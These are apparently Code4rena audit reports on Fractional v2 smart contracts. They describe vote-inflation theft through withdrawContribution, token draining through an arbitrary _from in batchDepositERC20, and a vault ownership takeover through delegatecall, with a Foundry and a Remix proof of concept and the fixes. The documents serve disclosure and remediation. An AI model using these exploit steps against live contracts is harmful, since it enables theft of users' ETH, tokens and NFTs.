Fractional v2 contest - infosec_us_team's results

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/modules/Migration.sol#L292

Vulnerability details

Impact

Steal NFTs from a Vault, and ETH + Fractional tokens from users.

Description

The Migration.sol module expects users to join a proposal using the join function, and leave a proposal using the leave function, both functions update fraction and ether balances of the proposal and the caller.

The withdrawContribution function is meant to be used to retrieve ether and fractions deposited from an unsuccessful migration, but it can be called as well in proposals that have not been commited.

Unfortunately, the withdrawContribution function will issue a refund on fraction tokens and ether balances the user sent to a proposal but it will not update the variables totalEth and totalFractions (as join and leave do), leading to an inflation of ETH and fractional tokens if the user calls join, withdrawContribution and join again.

Exploiting this inflation bug, an attacker can steal all Ether and fractional tokens sent to a legit proposal by legit users of the community, and redirect them to an evil proposal that will win (because it has over 51% of token supply) and at the same time invalidate the legit proposal due to:

1- Lack of funds (they were stolen).

2- Only 1 LIVE proposal can be running at the same time.

A key element to take note is that only 1 proposal can be LIVE, but before a proposal goes LIVE, many can be created at the same time, and users can join those that resonate with them, sending their ETH and fractional tokens to support it. The vault will have a big amount of ETH and fractional tokens in these situations.

Steps to reproduce

An attacker's will exploit the inflation bug as follow:

1- Wait until there's at least 50% of the total supply of fractional tokens in the vault, being stacked into one or several proposals.

2- Create an evil proposal with evil modules and inflate the amount of ETH and fractional tokens in your proposal up to the exact amount of the total ETH and fractional tokens in the vault.

3- Commit your proposal. That will send all ETH and fractional tokens in the vault to your proposal and start it.

Now that your proposal has over 51% total supply of fractional tokens in it and a lot of ETH stolen from members of the vault, many creative things can be done, including taking over the Vault's NFTs with an evil module once the proposal goes through.

**NOTE: In the REJECTION_PERIOD victims can buy tokens to try to stop the proposal from going through, but the price of every tokens is calculated using the depositAmount and msg.value (https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/modules/Buyout.sol#L86) both values manipulated by the attacker. **

Proof of Concept

The proof of concept took 4 hours and 33 mins to be written, as I tried hard to get a clean, and easy to understand and reproduce PoC that illustrates the impact of the attack.

Everything was put inside a function filled with comments at every stage, that can be included within the Unit Tests of the project.

You can read the PoC or include the function in test/Migration.t.sol and call forge test -vvv --match-test testProposalAttack to execute it.

    function testProposalAttack() public {
        initializeMigration(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true);
        (nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
        address[] memory modules = new address[](1);
        modules[0] = address(mockModule);

        // STEP 0
        // The attacker waits until a proposal with over 51% joins and a nice amount of ETH is made

        // STEP 1
        // Alice makes a legit proposal
        alice.migrationModule.propose(
            vault,
            modules,
            nftReceiverPlugins,
            nftReceiverSelectors,
            TOTAL_SUPPLY * 2,
            1 ether
        );

        // STEP 3
        // Alice joins his proposal with 50 ETH and 5,000 tokens out of a total supply of 10,000
        alice.migrationModule.join{value: 50 ether}(vault, 1, 5000);

        // NOTE: In a real world scenario, several members will join Alice's legit proposal with their own ETH and tokens,
        // but to make this PoC easier to read, instead of creating several fake accounts,
        // let's have just Alice join his own proposal with 50% of token supply.

        // STEP 4
        // Bob makes an evil proposal, with evil modules to steal the vault's NFTs
        bob.migrationModule.propose(
            vault,
            modules,
            nftReceiverPlugins,
            nftReceiverSelectors,
            TOTAL_SUPPLY,
            1 ether
        );

        // STEP 5
        // Bob joins and then withdraws from the proposal in loop, to inflate the ETH of his proposal
        // and total locked tokens (thanks to a bug in the `withdrawContribution` function)
        bob.migrationModule.join{value: 10 ether}(vault, 2, 25);
        bob.migrationModule.withdrawContribution(vault, 2);
        bob.migrationModule.join{value: 10 ether}(vault, 2, 25);
        bob.migrationModule.withdrawContribution(vault, 2);
        bob.migrationModule.join{value: 10 ether}(vault, 2, 25);
        bob.migrationModule.withdrawContribution(vault, 2);
        bob.migrationModule.join{value: 10 ether}(vault, 2, 24);
        bob.migrationModule.withdrawContribution(vault, 2);
        bob.migrationModule.join{value: 10 ether}(vault, 2, 101);


        // Let's do some accounting...
        (,,uint256 totalEth_AliceProposal,,,,,,) = migrationModule.migrationInfo(vault,1);
        (,,uint256 totalEth_BobProposal,uint256 _totalFractions,,,,,) = migrationModule.migrationInfo(vault,2);

        // Alice proposal has 50 ETH.
        assertEq(totalEth_AliceProposal, 50000000000000000000);

        // Bob's proposal has 50 ETH.
        assertEq(totalEth_BobProposal, 50000000000000000000);

        // He only put 10 ETH, but it shows 50 ETH because
        // we inflate it by exploiting the bug.

        // We can keep inflating it indefinitely to get any ETH
        // amount desired (up to the max ETH balance of the smart contract).

        // NOTE that the very REAL ETH Balance of the vault is only the 50 ETH (from Alice) + 10 ETH (from Bob) = 60 ETH.

        // We'll steal those 50 ETH from alice and all of his fractional tokens, to add them to our proposal now.

        // STEP 6
        // Bob calls commit to kickoff the buyout process
        bool started = bob.migrationModule.commit(vault, 2);
        assertTrue(started);

        // Final accounting:
        // Buyout now has 5,100 Fraction tokens from a total supply of 10,000 (that's 51% of total supply,
        // exactly what is required to win a proposal)
        assertEq(getFractionBalance(buyout), 5101);

        // and 50 ETH from Alice's proposal
        assertEq(getETHBalance(buyout), 50 ether);

        // Bob started with 100 ether and at this time it has 90 ether, as we only spent 10 ether
        assertEq(getETHBalance(bob.addr), 90 ether);

        // Bob only sent 101 tokens from his own fraction balance to his evil proposal, the rest were stolen
        // from Alice's proposal
        assertEq(getFractionBalance(bob.addr), 4899);

        // Next steps are straight forward, you can get creative and do many things that would make the PoC
        // unnecessarily long

        // Alice's proposal will revert if she tries to commit it, as only 1 proposal can be LIVE
        // at the same time. Also, there's not enough ETH in the contract to commit his proposal,
        // We are using all of his ETH in our own proposal.

Tools Used

Run forge test -vvv --match-test testProposalAttack after preparing the testing environment as explained in https://github.com/code-423n4/2022-07-fractional#prepare-environment

Recommended Mitigation Steps

Update the proposal.totalEth and proposal.totalFractions in the withdrawContribution function.

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/modules/protoforms/BaseVault.sol#L58-L70

Vulnerability details

Impact

All ERC20 and NFT tokens can be stolen from users' wallets and sent directly to the attacker's wallet.

Description and PoC

When creating a vault deployment with a fixed supply and buyout mechanism users call the Protoform contract BaseVault.

The steps to create a base vault are:

1- Call deployVault(...)

2- Approve the BaseVault contract to manage your ERC20 tokens, or ERC721s (wherever you want to put into the vault).

3- Call batchDepositERC20(...) or batchDepositERC721(...) or batchDepositERC1155(...) with the parameters address _from, address _to, address[] calldata _tokens, uint256[] calldata _amounts (https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/modules/protoforms/BaseVault.sol#L58-L70)

Inside these functions, a loop will call IERC20(_tokens[i]).transferFrom(_from, _to, _amounts[i]); (https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/modules/protoforms/BaseVault.sol#L65)

Here's the batchDepositERC20 for quick reference:

    /// @notice Transfers ERC-20 tokens
    /// @param _from Source address
    /// @param _to Target address
    /// @param _tokens[] Addresses of token contracts
    /// @param _amounts[] Transfer amounts
    function batchDepositERC20(
        address _from,
        address _to,
        address[] calldata _tokens,
        uint256[] calldata _amounts
    ) external {
        for (uint256 i = 0; i < _tokens.length; ) {
            IERC20(_tokens[i]).transferFrom(_from, _to, _amounts[i]);
            unchecked {
                ++i;
            }
        }
    }

An attacker can listen to any authorization to the BaseVault contract, and run one of these functions (for example, batchDepositERC20(...)) setting the value of _from to the victim's address, and the value of to to his wallet, stealing all of the victim's tokens.

Having an external function that allows an attacker to set an arbitrary value to the _from variable is an open door to attackers, letting them steal all ERC20 and ERC721 tokens from all users who dare to set an allowance of his tokens to that contract.

Recommended Mitigation Steps

Modify these functions as follow:

    /// @notice Transfers ERC-20 tokens
    /// @param _from Source address
    /// @param _to Target address
    /// @param _tokens[] Addresses of token contracts
    /// @param _amounts[] Transfer amounts
    function batchDepositERC20(
        address _from, //  (HERE: this value should be msg.sender, not an arbitrary value set by users)
        address _to,
        address[] calldata _tokens,
        uint256[] calldata _amounts
    ) external {
        for (uint256 i = 0; i < _tokens.length; ) {
            IERC20(_tokens[i]).transferFrom(msg.sender, _to, _amounts[i]); //  (HERE: _FROM should be msg.sender, not an arbitrary value set by users)
            unchecked {
                ++i;
            }
        }
    }

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/Vault.sol#L125-L132 https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/Vault.sol#L23-L29 https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/Vault.sol#L17

Vulnerability details

Hello judges and Fractional team, I hope you are all healthy and doing well during these difficult times.

Impact

It is possible to change a Vault's owner.

Description

Vaults execute plugin transactions through a delegatecall, but they do not want the target of the delegatecall to change the owner of the Vault.

Vault.sol protects himself from this in line 126 as follows:

        // Save the owner address in memory to ensure that it cannot be modified during the DELEGATECALL
        address owner_ = owner;

then he makes the delegate call in line 131:

        (success, response) = _target.delegatecall{gas: stipend}(_data);

and finally, checks if the storage slot for the owner was changed, reverting if so:

        if (owner_ != owner) revert OwnerChanged(owner_, owner);

Full code from line 125 to 132: https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/Vault.sol#L126-L132

This is all correct, but there's a bypass to this protection that allows changing the owner of the vault anyways.

The external init() function set's the caller of the function as the owner of the contract:

    /// @notice Initializer value
    uint256 public nonce;

    /// @dev Initializes nonce and proxy owner
    function init() external {
        if (nonce != 0) revert Initialized(owner, msg.sender, nonce);
        nonce = 1;
        owner = msg.sender;
        emit TransferOwnership(address(0), msg.sender);
    }

He makes sure to be only called once by changing the nonce value (a public variable, living in the 3rd memory slot of the contract) to 1 after the first call.

The vulnerability

If the target of the delegate call changes the value of his own memory at slot 3 to 0 or false or any variant of address(0), it will be resetting the nonce value of the calling contract to 0. Whoever's call the init() function after that, will be the new owner of the Vault.

Proof of Concept

Copy and paste this code (a simplified version of what happens at Vault.sol) in Remix to see how the memory slot 3 value is replaced when delegating call to a smart contract that changes his own variable at memory slot 3.

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
import "hardhat/console.sol";
contract DelegateCallA
{
    /// @notice Address of vault owner
    address public owner;
    /// @notice Merkle root hash of vault permissions
    bytes32 public merkleRoot;
    /// @notice Initializer value
    uint256 public nonce;
 
    function  execute(address _a) public {
      nonce = 1;
      (bool success,) = _a.delegatecall(abi.encodeWithSignature("foo()"));
      console.log(nonce);
    }

}
contract A {
    uint256  public y;
    uint256  public x;
    bool  public z;
    function foo() public {
      z = false;
    }
}

Risk Rating

As this bug will cause user theft or lost of funds, I consider it to be High risk.

Recommended Mitigation Steps

At line 133 we should add:

        if (nonce != 0) revert Initialized(owner, msg.sender, nonce);

To make sure that not only the owner variable, but the nonce as well is not changed.

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/Vault.sol#L86-L89

Vulnerability details

Impact

Steal ERC20s, ERC721s and ERC1155s from users.

Description and Proof of Concept

In the documentation, users are advised to only interact with Vaults that have been deployed using modules that they trust. But a malicious vault owner can create a good and trustworthy vault, and after having users in it, he can:

Step 1 - Set a new MerkleRoot with evil modules by calling setMerkleRoot

    function setMerkleRoot(bytes32 _rootHash) external {
        if (owner != msg.sender) revert NotOwner(owner, msg.sender);
        merkleRoot = _rootHash;
    }

Step 2 - Drain the vault by exploiting the evil modules

Step 3 - Set the previous good MerkleRoot again by calling setMerkleRoot

All within 1 transaction.

This security flag leads to theft of NFT's.

Recommended Mitigation Steps

The method setMerkleRoot should only be callable by the VaultRegistry.sol

If users or the owner wants to add new modules to the vault, the Migration module should be used to make sure at least 51% of total supply agrees with the migration.

Change: if (owner != msg.sender) revert NotOwner(owner, msg.sender); for something like: if (registry != msg.sender) revert NotRegistry(registry, msg.sender);

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/Vault.sol#L73-L82 https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/Vault.sol#L101-L108

Vulnerability details

Impact

Steal ERC20s, ERC721s and ERC1155s from users.

Description and Proof of Concept

While doing more research, I found a new flag, but this one concerns me very much because is too related to protocol design and I consider it puts in danger to all users. In the https://docs.fractional.art/fractional-v2-1/security security page says:

Additionally, users should only interact with Vaults that have been deployed using modules that they trust, since a malicious actor could deploy a Vault with malicious modules.

But actually, a malicious actor (aka Vault Owner) doesn't need to deploy a Vault with malicious modules to take over user's ETH, fractional tokens and NFTs. Thanks to the plugins feature is way simpler than that, he can just conveniently:

Step 1 - install a plugin to steal ETH/NFTs

Step 2 - execute the plugin via fallback stealing the ETH/NFTs.

Step 3 - uninstall the plugin.

All within 1 single transaction.

How can a user trust in any vault, if the owner can always steal your stuff? With the current protocol design, they can't.

I reached out to privately to @swaHili (from the Fractional team), to understand before submitting any report related to this flag if this a known and "acceptable" risk and the protocol will not do any changes in the code to avoid this behavior.

I received a confirmation that is not the intended behavior they have for Vaults, and they will work on fix it:

> swaHili — Today at 2:47 PM
Hey thank you for reviewing and your insight
you do bring up a good point in the event that vault owners can install any plugin to drain the vault
plugins are a bit of a newer feature but I do believe we plan on restricting it
will speak with the team further on this but thank you for pointing it out

Recommended Mitigation Steps

A few ideas are:

1- Plugins to be installed should go through a voting process with all holder first. 2- Another option (less decentralized, but quicker to implement and safe as well) is to have plugins being executed in their own context instead of through a delegatecall, for security reasons.